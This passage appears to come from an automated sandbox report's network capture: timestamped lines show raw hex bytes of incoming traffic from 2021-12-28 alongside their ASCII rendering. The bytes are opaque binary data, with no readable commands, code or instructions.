2021-12-28 04:19:41 UTC	1104	IN	Data Raw: e5 5e 74 d7 7e fb fc 8c ca 5b a4 cc 3f 88 20 92 c2 d4 f4 0d e3 1f 04 84 7f 2d 90 86 89 1c 2a 13 6d a3 d5 98 9d 3e a8 4d e4 02 a9 13 f6 57 94 48 15 76 40 2b 48 2b 39 bc 7e 15 38 16 6d 7f ee 36 b7 72 38 f6 4e 02 3c bc 82 ed 89 c6 5c bb 01 77 c1 07 85 9e ae df f8 b3 c6 0f 18 2c c6 a6 d3 6f f4 c5 be 92 d7 9c e7 22 a8 68 aa a2 f6 59 7a f0 a9 2a 6c ed 31 52 8f 2e eb d3 5f 78 12 c6 c9 d3 7a 32 b7 a9 dc 37 26 ce 4c 0e a5 ab 82 e7 e7 ea 5d ac 08 d5 ee 2a 89 5c 52 61 47 b4 f0 30 33 e4 f3 1d 3f 6a ef af dd 74 cf c2 26 24 79 e1 b2 b9 09 87 ff fe 40 a7 85 e4 81 88 53 97 a3 06 0c e6 63 58 14 6f 84 7e 91 8a a9 22 9a 23 df ec aa 78 e3 e6 75 37 59 68 fd 53 99 f8 25 fe 93 ff 45 1f b3 71 76 7a d9 bd af 5c 65 26 f6 14 19 fc 7e 1d 44 77 ea 81 90 7f f8 2f 93 f3 eb 1b fa a8 0a Data Ascii: ^t~[? -m>MWHv@+H+9~8m6r8N<\w,o"hYzl1R._xz27&L]*\RaG03?jt&$y@ScXo~"#xu7YhS%Eqvz\e&~Dw/
2021-12-28 04:19:41 UTC	1106	IN	Data Raw: b9 2f 4a 8b 56 ce 9c f0 ec 28 c2 f9 bd 7d cf 19 b0 5a 79 10 22 8f 7e 0f 3b 4b 64 4d 31 8a e1 8a d9 19 88 49 20 77 78 b4 b7 58 64 9f 59 d0 54 54 31 dc 1e d8 96 75 e1 54 fb 59 aa 35 38 c4 02 63 fc 78 79 49 74 a5 6c fe 0b b7 83 16 1d 4c f1 81 ec b3 88 f3 dd 16 ce b9 b7 dd 2b 6d a5 95 67 c9 2d 51 fd bc 0e 6a 76 13 e7 a6 bf 17 2b c8 f9 b1 47 53 6a 7f 47 46 45 a7 8c 63 84 b8 b3 86 19 fc 54 b1 e0 37 50 75 b4 55 6b d0 d3 c1 ea b3 95 ab e8 d1 a8 0d 9d 4e 5e 8b a3 9e 69 39 af 3a 12 0c a1 29 aa af e8 86 a9 4b 69 97 8f f3 05 79 d0 59 ae f3 8a bf dd 03 a4 93 69 d6 e3 e8 af 01 e8 ef db e5 df 05 d2 a3 0a f0 be b0 8d 4d f6 f5 1c e6 f7 97 0a 86 39 31 02 2a 78 47 1d 3e 51 1b 49 d0 0d 09 46 04 5b f7 a0 21 a8 e8 08 b4 3f 96 24 91 09 13 39 6b 5e da fd 0b 3b a1 e6 be 59 3e 3b Data Ascii: /JV(}Zy"~;KdM1I wxXdYTT1uTY58cxyItlL+mg-Qjv+GSjGFEcT7PuUkN^i9:)KiyYiM91*xG>QIF[!?$9k^;Y>;
2021-12-28 04:19:41 UTC	1107	IN	Data Raw: 69 35 8c e6 8b 8c c8 ea 35 0f 47 69 40 eb 34 22 cc 08 38 47 d5 9d b2 73 c3 23 ca 58 5f bc 20 95 6b 0f e8 d7 02 e9 f4 e7 2f 19 83 61 21 4d f3 45 6e 3c dc 84 22 0a b8 4c ef 26 3e bd 9f bb f4 f5 01 93 f7 6d 07 b1 3c 55 49 00 90 67 13 36 19 d5 c5 bf 68 db be 93 cd db b8 45 28 09 96 5f 02 57 55 8d 19 24 e0 62 73 02 33 63 4a 35 f0 87 71 9b bd 77 bb 48 e5 8a 6e 52 fa e1 d9 09 b5 2c fa 2d f6 3a ee 76 9b 51 8d 4a c3 f7 0c fb 7a e4 f4 4e b6 47 a6 5f 81 14 b6 6f d9 5d c6 b2 0e e1 db 9b 5e 92 46 30 ae aa cc bf fa 19 d7 72 ba 53 fc ab 29 52 ac f8 08 b6 6e 7f a3 ae 1f 32 65 9d de e1 a5 ff 1b 4d 5d 63 3c 41 00 dc 63 dc e7 8e 18 77 bf 40 9a 8d 60 5b 72 e3 e1 f6 90 0b 34 51 99 8f b4 22 f8 07 b4 72 8e 54 7a 82 c3 9d 1b f3 be 05 58 f7 98 80 7c d7 e7 fb 27 03 7f 98 78 97 3e Data Ascii: i55Gi@4"8Gs#X_ k/a!MEn<"L&>m<UIg6hE(_WU$bs3cJ5qwHnR,-:vQJzNG_o]^F0rS)Rn2eM]c<Acw@`[r4Q"rTzX\|'x>
2021-12-28 04:19:41 UTC	1111	IN	Data Raw: ec 19 ee fa e7 b7 c4 b6 ac 0d 8a 88 8b f9 57 29 7f 9d b3 40 04 2d 5a 7d 24 87 e3 a8 7f 97 38 c5 7d 92 80 64 8e 65 43 c7 45 71 a8 b6 2e 2b d8 68 1a 85 2c 0a 0a 8b 39 81 39 38 71 d1 94 2a 04 3c 70 7e 88 92 fa 4f 46 ea 2e 76 42 19 7e 41 a5 4d b0 41 fc bf 85 27 6b c5 b5 f1 9f 62 75 0a 43 cb 6c 3f 4b 98 84 a7 b5 ad 3d 56 90 ca bb d8 d3 80 a1 42 20 7e 37 9f 2b 39 04 22 00 80 b0 04 c8 f4 6d f9 96 f9 9e 4d 5b be 5e b1 9e f8 14 a2 9a 62 77 cd c7 97 31 89 91 3c ef ed ba 7b d4 90 58 71 3e 9f 01 3a 3b 0d 01 9b 36 09 bb 70 89 df 40 29 ca 5a 43 95 ac 02 21 4d 53 0f 0f f0 48 db 65 cd f1 87 84 d3 92 25 c7 e0 9a 1e 10 44 57 1d ef 83 36 7b 7e 4c 03 d8 ff eb 4a ee a5 37 68 69 51 c7 52 e3 fe 79 7d e2 2d 36 ec 87 bf 85 28 e0 67 71 e9 b3 bd b3 ca b6 42 22 d7 78 17 5e c1 bc 7e Data Ascii: W)@-Z}$8}deCEq.+h,998q*<p~OF.vB~AMA'kbuCl?K=VB ~7+9"mM[^bw1<{Xq>:;6p@)ZC!MSHe%DW6{~LJ7hiQRy}-6(gqB"x^~
2021-12-28 04:19:41 UTC	1115	IN	Data Raw: 9c 97 d4 70 6d 4d 39 21 30 f6 74 b4 80 33 99 76 59 f6 b8 15 92 a2 97 6b 19 0d d4 80 d2 ac b1 75 b1 8c 3a 7b 09 5b 5c 91 1c 4b de 5a 6e 08 f3 be c7 02 b5 0d d1 89 ff 2c ed b4 cf e4 c0 fc 46 14 bf 9f c2 cb b2 88 d5 d2 8d ad e2 cd 68 2b 98 3c 21 40 78 02 df 5f 78 db cb d6 74 1b 8a 1a 0e 4d 8b 18 08 a5 66 d0 05 89 4f 85 76 c8 cd fe cc c9 d0 98 53 52 2c 1d 5f 0b e1 a0 7d 35 c9 0b c9 b0 c0 16 55 ff 74 a7 2b d7 21 8f 35 0d 29 85 21 bd 05 80 7c a2 88 1d 78 eb ba 77 39 2c 93 ab f2 15 dd d6 62 1d 22 c6 7c 3e 24 01 45 cf 47 d4 a7 33 92 79 ca 48 47 46 a5 ed 4b d5 b6 02 06 fd 2a 6b 14 1c ca 75 9f 9a d7 20 0a 75 52 79 e3 f0 34 b9 b9 89 63 f1 70 a7 e7 7e 16 f4 6b ee b7 03 98 1f 21 55 a8 22 93 2b 01 2d fe e1 af a8 bf 67 d7 01 de e7 68 f8 5b 90 e3 6a 89 f8 2d 0e 6a 3a 88 Data Ascii: pmM9!0t3vYku:{[\KZn,Fh+<!@x_xtMfOvSR,_}5Ut+!5)!\|xw9,b"\|>$EG3yHGFK*ku uRy4cp~k!U"+-gh[j-j:
2021-12-28 04:19:41 UTC	1116	IN	Data Raw: 19 4e 72 35 03 15 59 92 a8 a7 29 ce f9 fd 1b b0 2b c7 81 e6 20 e0 3d 1e d3 bd 61 b5 51 26 1c fe 07 35 6d 61 39 b4 d2 80 f6 f4 85 63 22 64 fe 38 33 57 18 7b ff e4 26 0f fe 61 b3 09 25 f4 f9 de aa 19 ef af ca 32 b5 59 2b 5c ac 7f 8e ad bc 0f 0d 6b f0 8f 93 57 f7 03 42 cc ac 6a b5 58 6c 22 23 fc f2 1a 67 ab 6c 61 1a d9 a8 7e 9f b0 36 f2 d7 80 84 9f 1d b0 1e 8b ae 48 02 ea 0d 7a 53 9c 3f 54 29 67 8a c4 9f 37 98 10 0c 10 a5 88 3c 54 ea 11 07 3b 4b ed 7e c1 63 42 bd a3 a6 a7 64 6c 1c b0 b6 94 10 80 02 20 e3 7e 23 b9 2c 26 ca 0a 62 a7 76 54 b6 e5 ff 9a 05 e4 72 25 f0 02 17 11 db d1 d1 76 bd 3b e2 3d 5b bf 68 1c 41 29 92 21 d5 57 10 77 c4 9d 0d 0d 86 d5 54 53 67 38 f6 30 58 cb 2b 54 e1 13 07 af e8 a1 57 cd 49 9e 90 64 f9 bf fc df 99 fa 30 03 5e b2 ef 45 66 56 cd Data Ascii: Nr5Y)+ =aQ&5ma9c"d83W{&a%2Y+\kWBjXl"#gla~6HzS?T)g7<T;K~cBdl ~#,&bvTr%v;=[hA)!WwTSg80X+TWId0^EfV
2021-12-28 04:19:41 UTC	1121	IN	Data Raw: b7 5b 36 cd 5d 25 df a1 39 13 20 3c 14 b2 2e 0e b2 dd 66 14 78 ec 29 03 76 40 a3 0f 1b 91 db 1a c2 b7 f5 50 f8 52 44 b4 bc 48 e3 37 9a df ee b2 c2 68 c2 2f d6 3b f2 a7 b0 89 43 a4 e1 3a b5 95 6c 26 c4 ac 5a 4f 4c 44 df ff d6 ee 02 79 0b af 09 c4 43 49 69 f3 ee 4b 78 13 36 6c a4 84 d4 eb c8 26 4d 98 5a 6e 72 ce 51 10 53 f6 5b 44 0a cc 0e 51 2a 94 7a 69 71 2c 1c 3c 51 6a 74 41 a8 a4 c1 41 73 60 93 2e 4c 70 b3 d8 ad 06 2e ce 20 c9 9b 15 81 0b bd 57 ae 40 48 54 9b 82 d5 36 df 71 94 fe bb d4 d3 67 4c e9 a7 3e 14 c0 ee 3c bf ed 5a 42 a0 f8 0b 7a ed 62 89 1f 50 58 0e 2d d8 16 a5 f3 c8 47 73 cd a8 8d 33 63 d4 bd dd a8 80 85 50 44 c1 d3 dd d4 70 3d dc 2c f7 ef a7 ee a4 3e 74 9e ac 04 44 fa c9 ad 60 9b d1 9b 45 a7 a7 29 21 01 5b 38 1b 44 dc 30 62 93 d9 f7 c1 1f d2 Data Ascii: [6]%9 <.fx)v@PRDH7h/;C:l&ZOLDyCIiKx6l&MZnrQS[DQ*ziq,<QjtAAs`.Lp. W@HT6qgL><ZBzbPX-Gs3cPDp=,>tD`E)![8D0b
2021-12-28 04:19:41 UTC	1125	IN	Data Raw: 4b 1f 46 df 8e 2e 12 6e fe 2d 11 39 c7 77 eb cc 17 ab b5 d5 eb 3c 31 c9 83 36 93 1f 82 99 b3 f5 20 63 d8 c9 39 54 51 70 2d 64 14 dc 9f d5 47 db e8 e2 12 91 1c d7 88 68 13 66 8a be 08 35 d5 db 6c 61 bf c5 02 16 d6 7e 40 62 bd 97 5c 7c 06 53 d4 fc df 21 36 cc 35 84 09 d1 6a 5e 2b 64 90 8e 2f 7d 1b 1a cc 69 ca 90 e1 a2 66 fc 64 c5 ef 92 b5 f4 71 ac aa 28 fb 6a 1a 26 7e 54 46 90 02 6e 23 23 8d 84 6d d4 b7 4a 0d 61 42 12 45 c5 d6 3a 27 d9 ae e1 5d d2 ff c4 90 db 16 7d b6 4d 04 40 2d a6 cf 98 11 7d ec 31 3d db 08 ad 44 b4 dd d7 80 e6 3a 99 3d ca 4b a7 39 2c 34 f1 eb a5 a6 ff 6d 84 b8 fb 88 b2 4a 9b 68 f8 ab d2 69 4a 85 34 2f c4 1f 9a 0a e1 99 bf 5c 19 38 d3 1f dc db 6e 94 24 c5 20 fa 55 6f 56 a7 c8 d4 ee 54 b2 89 a1 d8 e6 f0 20 72 cb 9f dd 51 88 51 17 95 c0 d1 Data Ascii: KF.n-9w<16 c9TQp-dGhf5la~@b\\|S!65j^+d/}ifdq(j&~TFn##mJaBE:']}M@-}1=D:=K9,4mJhiJ4/\8n$ UoVT rQQ
2021-12-28 04:19:41 UTC	1129	IN	Data Raw: 4c 82 ea a3 73 ef df 4d d2 a5 43 a8 b0 db 85 a6 20 2e cf 31 48 7d d1 c8 75 7c 78 20 4c 65 d9 95 4f fc b7 60 dc 79 61 9a d0 97 86 ea 28 8b 3d d1 73 31 18 86 2c 97 65 9f 42 d5 03 00 96 67 0a 0a 75 5b 67 b9 23 d7 f1 cf 0f 4c 5a 0c 44 11 18 db b8 7f c3 e0 90 c5 d7 e9 d9 e6 d2 95 0b 6a b4 8c 37 d8 26 ac de 0c 5f b3 05 e5 b7 20 0b 0e aa e9 72 2f f7 3c 83 eb 02 d5 31 62 f8 3a 0f 41 02 e9 9f c2 1f fa d6 a6 ba 65 f9 1b 1e 18 f0 60 24 07 2b 67 18 6e 15 ed 93 9e 49 93 59 35 27 84 ee 10 8a 70 5e 1b f7 90 03 fd aa f5 fd 16 31 4d 4e 6f f2 e4 ab 32 e7 32 9c 0b 57 0c 55 27 cf a5 83 34 48 b3 cd 5d de 59 3e a1 9b 48 20 7e 16 ef 19 2e 1f 4f 1b e1 77 01 8e 5a da 5d 7a 5b 14 92 bf eb 3a 37 0a d1 6e 29 71 84 82 c3 69 a8 f6 9a 8e f2 99 5f eb a2 b4 76 d9 7f 48 af 4d 55 9b 78 0d Data Ascii: LsMC .1H}u\|x LeO`ya(=s1,eBgu[g#LZDj7&_ r/<1b:Ae`$+gnIY5'p^1MNo22WU'4H]Y>H ~.OwZ]z[:7n)qi_vHMUx
2021-12-28 04:19:41 UTC	1133	IN	Data Raw: 7a 54 49 99 b6 e4 66 9f 68 cc 56 7f b1 07 7a 8b 04 a0 d8 2c 85 ad 2a 64 06 bd 90 7a a8 60 18 02 e2 e6 1d eb 06 c7 39 a3 20 8c 24 3e 23 c5 3c 56 4d c4 83 14 49 7d 49 c0 af b7 9d bf 19 31 41 45 0e fc 79 53 ca 67 a0 0f d7 d5 82 1f 73 5e 29 d5 41 11 b5 c9 55 a2 45 80 7e 27 10 90 d3 8a 88 87 6d ad d3 30 bd 6f 19 46 86 2d 1c 97 89 6e fe 03 fb e1 51 a5 d4 6e b4 b2 63 c6 80 4d 63 02 cd 38 79 b6 63 26 99 45 8b b6 05 fb b8 ae 8e 9b d8 70 0f 94 43 48 96 15 d2 7a 95 62 e5 8d c5 32 15 d0 d1 f1 31 44 d9 11 a0 40 3d 38 b4 54 bb 90 95 50 71 f2 40 99 9e e3 3a c3 ec 5b 8e 3b 2c b7 76 cc ec 3c 6a 60 72 61 2e 77 c1 95 dd a5 c5 4e e9 a1 07 c5 36 f2 4f 7d 88 6a 0b 1e 49 c4 27 69 5a ab 74 de fd 1c 83 40 4d 83 0a e6 8c 87 13 ff 4e a7 dc 3c e1 2e bd 44 d5 4e 20 53 6b 43 6d 50 d1 Data Ascii: zTIfhVz,*dz`9 $>#<VMI}I1AEySgs^)AUE~'m0oF-nQncMc8yc&EpCHzb21D@=8TPq@:[;,v<j`ra.wN6O}jI'iZt@MN<.DN SkCmP
2021-12-28 04:19:41 UTC	1137	IN	Data Raw: 04 a2 8e 7b c9 49 49 da eb ed e9 5d 86 f6 cd 18 c0 fc 18 e7 bb ee b6 b1 70 4f 7f 87 23 55 64 57 f2 12 b9 79 13 55 31 d7 bd b4 46 07 80 a8 33 76 e6 00 7a 35 77 6f 1d 0a a2 58 42 cf ec b0 48 d6 d0 f2 be 62 3f 43 26 ed f2 8d cb e4 be 11 1d 7d 02 34 32 5e a7 3e d5 a0 46 09 ed 86 b6 2d eb 03 f9 91 57 1f 83 56 93 42 78 0e c6 6e a5 2f c1 d3 6b e1 7e 40 25 05 80 bd bd 75 5d 64 44 3f 37 c0 a9 97 9a c2 95 0d 4b af 27 40 dc a0 ac ca 84 34 bb 4e 80 bc de cb b9 22 85 87 e1 cf 32 1b 56 18 6b aa 18 45 d8 4d 8a 70 75 d2 54 eb dc 94 e5 3c da 9e 18 03 78 ba 2c 70 50 aa 2e 2a 4f c4 13 1c 6b 88 a3 c8 2e 9c b6 54 22 37 09 27 ad 57 3f db 8a d4 7a f5 8f 58 a7 5b a9 4b a6 14 e0 56 63 a3 0d 74 e4 42 f0 47 5f c2 59 8f 74 a6 68 8a f4 7c bb 64 18 76 fa 2a e7 d8 1b 8d 45 4e ba 29 b2 Data Ascii: {II]pO#UdWyU1F3vz5woXBHb?C&}42^>F-WVBxn/k~@%u]dD?7K'@4N"2VkEMpuT<x,pP.Ok.T"7'W?zX[KVctBG_Yth\|dvEN)
2021-12-28 04:19:41 UTC	1141	IN	Data Raw: 00 e7 0d 2e 1e 62 39 90 f0 24 ca 9d 70 92 18 d8 a8 3e a0 9b de 52 ec ea 45 ac bd 81 10 ca 04 36 bb 3a f3 b4 12 25 15 12 a1 a5 cb 16 fe 37 d5 47 d7 6d c2 3a 2e a0 a2 b2 02 c1 36 c5 65 ee dd d0 62 69 cd 3d d1 a8 d8 ef 9c 60 9a 78 cc 9d ad 36 cd 5b 0f ca 8e 2e 6a 84 3e ea e2 ba 50 1b d1 2f 0b 09 5c 79 0e a8 a9 b2 7a 66 9f a1 34 53 82 fa 20 66 11 9e 2f 32 02 f2 ac a1 4e 70 5e 60 bc 77 eb 45 3a df 26 ab 88 83 9b ec 39 d7 15 f6 81 3c df 20 1d e2 45 91 66 98 64 dc be 7c 8a a3 54 45 9d a1 50 7f b5 5d 74 9f 52 7a 24 41 d0 bb a5 e5 d3 27 5d 6a ed c7 73 91 33 d3 c6 c8 f6 46 9d 86 48 ab f6 b6 0d c4 db 5a 78 0d bc c1 ae 25 84 25 72 54 c6 c4 06 fd 0a b3 ac 5a f0 37 f8 10 25 69 ca ca ee 55 06 dd c4 4f 28 fe 4f 0b 5b 70 02 b6 4a ac 0f db bb f7 e4 d5 72 e0 96 16 77 67 10 Data Ascii: .b9$p>RE6:%7Gm:.6ebi=`x6[.j>P/\yzf4S f/2Np^`wE:&9< Efd\|TEP]tRz$A']js3FHZx%%rTZ7%iUO(O[pJrwg
2021-12-28 04:19:41 UTC	1145	IN	Data Raw: 07 2f 1a 8c 04 8a c9 b6 76 ad e3 fc 6d 21 f5 00 15 b8 e0 fb 46 8b 03 77 7e 54 19 5b 04 ae 16 3a 97 bf 1c a5 b2 ca dd 49 0b 31 a3 c8 55 11 c4 45 8c 71 c4 3f 94 e9 79 d3 1e cb 92 1c 5d 77 5c 8b 5f 73 c6 62 4b 42 77 4f 08 f2 31 72 c1 52 cc 83 31 55 e1 2d 9e c5 8a ef 1d 83 f8 f2 ab a4 f5 70 ff e5 78 c8 1c 4b 0d 96 62 fb 6d a2 e4 ac 0d ed 56 17 a9 19 17 18 f8 d8 69 90 2b fc 6d 9e ae 34 89 1b af 47 22 bf 52 e2 62 b5 7f d5 9b be 2d 69 a9 d2 00 7e 1a 23 4b 27 4e f9 b2 35 5f 2e 42 a1 7f c9 92 96 ea a9 3a f9 87 8f 94 22 96 40 c6 2a 87 19 12 29 2e d0 02 86 15 e8 35 07 70 31 25 ef d5 13 2c 61 59 62 d0 04 cb da cb b0 d4 9b 8f 30 fb 6d 2e e8 24 48 9a 89 29 3c 08 50 dc d2 c6 b9 21 72 a9 62 6d d4 d3 35 65 b0 48 32 a5 2a bc c5 71 d1 c6 6e 25 b9 f0 fc f7 7f 55 fb 90 d0 82 Data Ascii: /vm!Fw~T[:I1UEq?y]w\_sbKBwO1rR1U-pxKbmVi+m4G"Rb-i~#K'N5_.B:"@).5p1%,aYb0m.$H)<P!rbm5eH2qn%U
2021-12-28 04:19:41 UTC	1148	IN	Data Raw: 97 a5 5b 48 1d f4 20 dc bf f6 fc b0 1e 77 5a c1 2e 5f f9 58 57 e1 69 c9 c6 c1 d3 0d f0 6a 76 cd b4 3f f2 1a 6a 79 bf 3e 68 9a 21 ca 1e 1c d0 1d e1 3b 05 cf 8d d4 ec b5 10 3c f2 c2 9d 85 a0 92 4e 77 35 dc 5c 82 42 c8 44 04 03 d3 7b c5 85 d6 a7 65 16 c9 c1 b2 76 9b cd 77 dd ab 28 78 8c 06 3f 3f c3 6a 91 91 a1 13 6c 92 4d 6d ea 40 28 14 75 46 3b 58 72 fb 26 17 a6 f7 04 e8 4f c6 fa 9d 67 24 c7 25 73 e6 30 80 23 fa 48 10 31 27 a9 c5 4c c0 c8 84 51 22 fa 5f 28 87 c9 72 cb 8f ca b0 02 5a ab 26 78 d5 28 42 21 fd e1 b6 74 ed 5d 29 7d 09 01 22 34 c9 ff 93 19 d5 f6 6c 13 bf 68 61 4b 10 df ea e2 a1 c2 79 4a c9 16 7b 9f ed 30 a7 2c ac 09 ce 9e 28 2b f2 53 47 a6 8a 8b 6e fa 4f c2 6b 3f 92 07 a2 fd a4 b4 aa 26 d1 b7 32 44 69 4f 1c 67 e5 8f 5c 3e be 45 8a 48 1f bc 26 4c Data Ascii: [H wZ._XWijv?jy>h!;<Nw5\BD{evw(x??jlMm@(uF;Xr&Og$%s0#H1'LQ"_(rZ&x(B!t])}"4lhaKyJ{0,(+SGnOk?&2DiOg\>EH&L
2021-12-28 04:19:41 UTC	1153	IN	Data Raw: 0c 67 c7 51 40 0a 9a 6b 0e 33 41 64 64 d7 83 2b c7 e6 50 a7 77 40 49 1d 70 a3 a8 59 b4 e1 0e a6 85 09 9f 23 f8 c6 09 eb 54 3a 44 cd 28 d5 f5 90 d4 be 15 ec c3 7a 29 c5 3e 06 eb fa 77 87 03 1a 57 8d 90 8d 62 64 6e a0 0b e3 1f 96 63 6e ad 67 9e 67 b9 d1 4d 31 1e e1 9b d4 5b 4e 6d 69 24 c4 c6 86 1a 67 35 97 51 85 7a 6a 25 50 cc 4a 5d b4 33 14 3d 6b 23 72 dc 8a 2c 27 77 f0 0a eb 39 af 56 8e 7e d9 ac db 1f a0 c1 2c 41 37 b7 77 b7 bb bc b9 41 e0 b5 89 92 1f dd 3f 54 85 62 46 14 0e 0b 7a 4a c3 41 30 6a a4 88 2e 72 2c 56 3f 31 08 b1 a3 7a d3 c8 42 5b af 7c d3 5a 45 0f 17 98 65 0b 09 66 c0 f9 2f ec 9f 57 df f5 b4 c7 94 95 09 9f ea bc 5b dc 82 01 c5 13 ac bf 10 af 0a 2d fd 7a d1 ab fe 13 dd 25 06 88 db a8 50 11 bc 5f 21 5d b1 7e 68 c2 e5 52 2e d7 71 6f e3 4b e9 91 Data Ascii: gQ@k3Add+Pw@IpY#T:D(z)>wWbdncnggM1[Nmi$g5Qzj%PJ]3=k#r,'w9V~,A7wA?TbFzJA0j.r,V?1zB[\|ZEef/W[-z%P_!]~hR.qoK
2021-12-28 04:19:41 UTC	1157	IN	Data Raw: 13 53 1c e0 e8 92 a3 03 66 a4 4e 35 db 03 b1 be 72 fc 57 73 92 7b c5 a9 b0 88 4a 55 e2 2e 07 c0 63 94 01 eb 2a b7 7b c9 41 bb 18 c1 8d 15 29 5f 41 2e 60 54 9e 79 d6 7e 7b 04 5e 26 f8 9f e5 c9 22 29 dd 04 7c dc 5f 6f ba 79 d3 6f a2 ab ac 5f 2a d5 2e 0e c6 7f 9c 6e ca 65 8e 09 ac b1 bc e4 d7 8a 16 43 a2 82 53 5c 89 6e 24 1b e9 a7 f7 63 ae 9d da c2 d8 a5 f9 ce ea 45 d1 09 4e 74 18 7d 09 b3 0e 4c d1 7e be f3 35 bd 5f 3d ae c7 64 a5 73 d5 2c b9 ba ce cb b2 11 65 62 5e 62 08 98 b4 22 b4 26 95 a7 3d 39 3c 3d d2 f5 96 0c e4 aa b8 8e 54 3f 9c fc 63 da e3 ce a2 3d 49 55 bb d9 53 82 51 d5 f8 96 3b fd 8d ec e6 ed 05 1a 1c 2f 76 22 e1 d3 ae ab 32 f7 31 df f0 d9 a5 c6 4e 2b f5 3e 45 c9 1f 99 87 b2 5a ab 9b c0 69 aa ea 2a 4a 7c 30 f9 3d d0 b8 46 b1 35 8a a8 f9 e7 55 ae Data Ascii: SfN5rWs{JU.c{A)_A.`Ty~{^&")\|_oyo_.neCS\n$cENt}L~5_=ds,eb^b"&=9<=T?c=IUSQ;/v"21N+>EZi*J\|0=F5U
2021-12-28 04:19:41 UTC	1161	IN	Data Raw: f7 fa 40 61 b5 0e 30 18 07 dc 45 4b ca 1f ae 10 51 56 c3 57 76 42 7d 13 8d e7 b0 4f 90 7a b2 0f 86 0f b6 08 77 28 18 a4 52 a7 af a0 46 d7 61 33 1c 25 bb 99 4b 3f c4 5f 7e 74 d6 94 49 fe 03 f0 a3 15 1f c4 66 bc 19 04 5a 14 f4 5c d6 44 46 8d 5c f3 b7 76 5f 41 63 33 37 87 58 fa 12 34 66 85 22 4a e7 ba 9d 9a d0 a6 51 18 59 76 df 27 08 7a eb 22 c9 6d c5 1b 1f 14 fe b8 e8 82 64 59 10 35 4a b3 db 1d 5f 8a 41 95 dd 82 f8 75 a6 c1 bd df 89 b1 22 f9 c9 26 7a 6e ce 37 18 5e 92 a4 3c 99 c1 83 cb bb ed cf f7 21 35 d2 19 6f 41 bb 85 14 bf 83 d7 a9 9b 2e f3 dc ed c8 4f 31 2b aa 5e 60 81 bb 28 eb e4 6f 23 60 1b 88 f8 95 30 2f 63 8c 16 51 d1 78 3d a4 0c a3 ff f3 ea 62 bd a1 ee 1f f6 cf ff 5f 84 c2 02 f4 df 6b 5f bc 67 94 97 6c 18 0d 7d f0 ff 12 41 17 ff 12 be f0 9e 46 42 Data Ascii: @a0EKQVWvB}Ozw(RFa3%K?_~tIfZ\DF\v_Ac37X4f"JQYv'z"mdY5J_Au"&zn7^<!5oA.O1+^`(o#`0/cQx=b_k_gl}AFB
2021-12-28 04:19:41 UTC	1165	IN	Data Raw: ea 44 54 3a 36 61 c0 2f b0 67 31 bc 8c a5 71 87 54 80 fc a2 ac 32 47 c6 f2 18 7c d0 9a 81 b1 fa b5 0c ac 2b 2a c9 81 9e 21 d1 63 c5 4c a4 e5 db d7 b1 ad 6d 14 76 bc 62 8e 05 41 ef 3b 27 8e 87 45 fc 9f ea ed 9e 1d 48 6b 8e 9c f8 43 79 a5 7a 2c bf ef e8 99 ca 5e be f6 96 c0 b5 1b 43 9d ef 60 78 2e 35 a0 42 d9 bf 35 16 c7 c1 b4 9d 7d 9f a7 e3 31 0d cb 2c 04 22 45 2a df 2b 48 e9 d4 1e 6a 11 5a fd 88 57 83 fa 9d 87 57 63 4c 38 d1 c0 91 c7 11 2d 28 74 8c 77 f7 bd 0f c2 35 fc 89 78 2b 06 26 6d 6b 2a cd 57 65 c1 9c 9e 1e 3b dc 32 d9 8a 63 0a 3d 1a 91 59 99 f8 e0 f8 42 ee 29 70 c1 17 d5 66 6a 99 cc e5 24 1d 23 41 24 10 81 22 79 46 3f b5 a3 ca 6c 74 7b 29 10 6a 5c b8 06 c0 9a e6 41 80 df ac 09 40 f2 77 f1 3c 02 7f a6 7c 60 1b 6d da 5f 96 59 c8 03 92 b2 32 6f e2 18 Data Ascii: DT:6a/g1qT2G\|+!cLmvbA;'EHkCyz,^C`x.5B5}1,"E+HjZWWcL8-(tw5x+&mk*We;2c=YB)pfj$#A$"yF?lt{)j\A@w<\|`m_Y2o
2021-12-28 04:19:41 UTC	1169	IN	Data Raw: 68 12 53 86 b8 d6 93 ef dd 0e 7d a9 55 21 dc 27 e7 7b 88 29 a7 6f 74 89 d7 41 ba 36 54 de 38 29 a1 04 6c a3 9c ca ba 53 99 9d a3 3f 5a c2 92 19 77 f5 61 45 e2 83 c8 dc 5e cc 7c a6 c7 5a 4e 8b ad ed 38 64 cd 4b 60 38 85 55 20 2a 84 c5 52 83 d0 9c 31 c6 d1 03 7e 2c 7c c4 92 86 fa 39 5a 7d 49 d9 d0 70 a6 f6 df a4 a2 31 e5 fd 40 25 44 33 68 b5 ff 46 9a da ec aa fb 1b 39 1d 93 84 f1 22 80 0b ec 59 8b 33 c3 8d 65 e8 f0 d6 5d b8 c6 8a 5a 24 24 3b fe c5 97 4b 43 e6 08 1f bd 8c 0d 3c b2 1f 9a be 41 62 1c cb 53 c8 0a b8 0b 28 32 d8 0e 24 e8 cc 6e 9c 95 0f 2e 6e d5 7c e2 85 c8 5a c8 f2 30 46 60 67 79 b6 fe 3d 01 da 63 fa 8b f4 95 7a d5 42 72 59 3b a5 cc ff 7e 1e 08 b7 d3 99 d4 95 e3 88 80 ad 5c 3a 4c 5c a5 2c 1f 8e 6c da 5a 34 26 19 c7 a3 7d 1e a9 0f ab 53 d2 00 ca Data Ascii: hS}U!'{)otA6T8)lS?ZwaE^\|ZN8dK`8U *R1~,\|9Z}Ip1@%D3hF9"Y3e]Z$$;KC<AbS(2$n.n\|Z0F`gy=czBrY;~\:L\,lZ4&}S
2021-12-28 04:19:41 UTC	1173	IN	Data Raw: 66 e9 44 c2 a6 67 79 59 e1 d3 e6 62 83 50 b5 94 9f 78 e1 6a 93 1b c7 7a cd c2 d5 19 68 af 78 40 91 d8 11 47 f1 a3 c1 96 ff 60 41 bc 91 f4 c3 d8 06 73 30 fb 56 2e be 1b 62 d2 bc cf 38 18 ee dc 8a ba f8 f1 91 4d 9d fa 86 2a b3 48 ad 12 01 10 a1 e8 65 cc 09 ac e2 06 84 b3 b5 d5 64 ea b1 55 dd e2 be d7 b6 52 2e 76 68 c5 6b 95 75 82 10 d8 9f f6 77 59 04 7e b6 4b 7a 36 7a 20 85 c3 7f dd 39 26 2b 29 66 f5 09 46 d0 f6 71 1f a1 b3 4e 85 d5 ed da 46 e8 df 05 f2 05 bc 5d fc 57 72 5a 6a c3 92 10 79 0f 5e 9a d8 55 66 a0 89 00 7c e9 9a 25 cf 10 5b 87 6d df 12 7b 2e bd ad ca 35 e8 08 ab 29 c6 05 0b 1d 0e 05 94 ec b0 22 88 ee f0 7c 1e 97 fe 66 79 7b 91 9c e8 57 f5 c6 ab 8c 7c a0 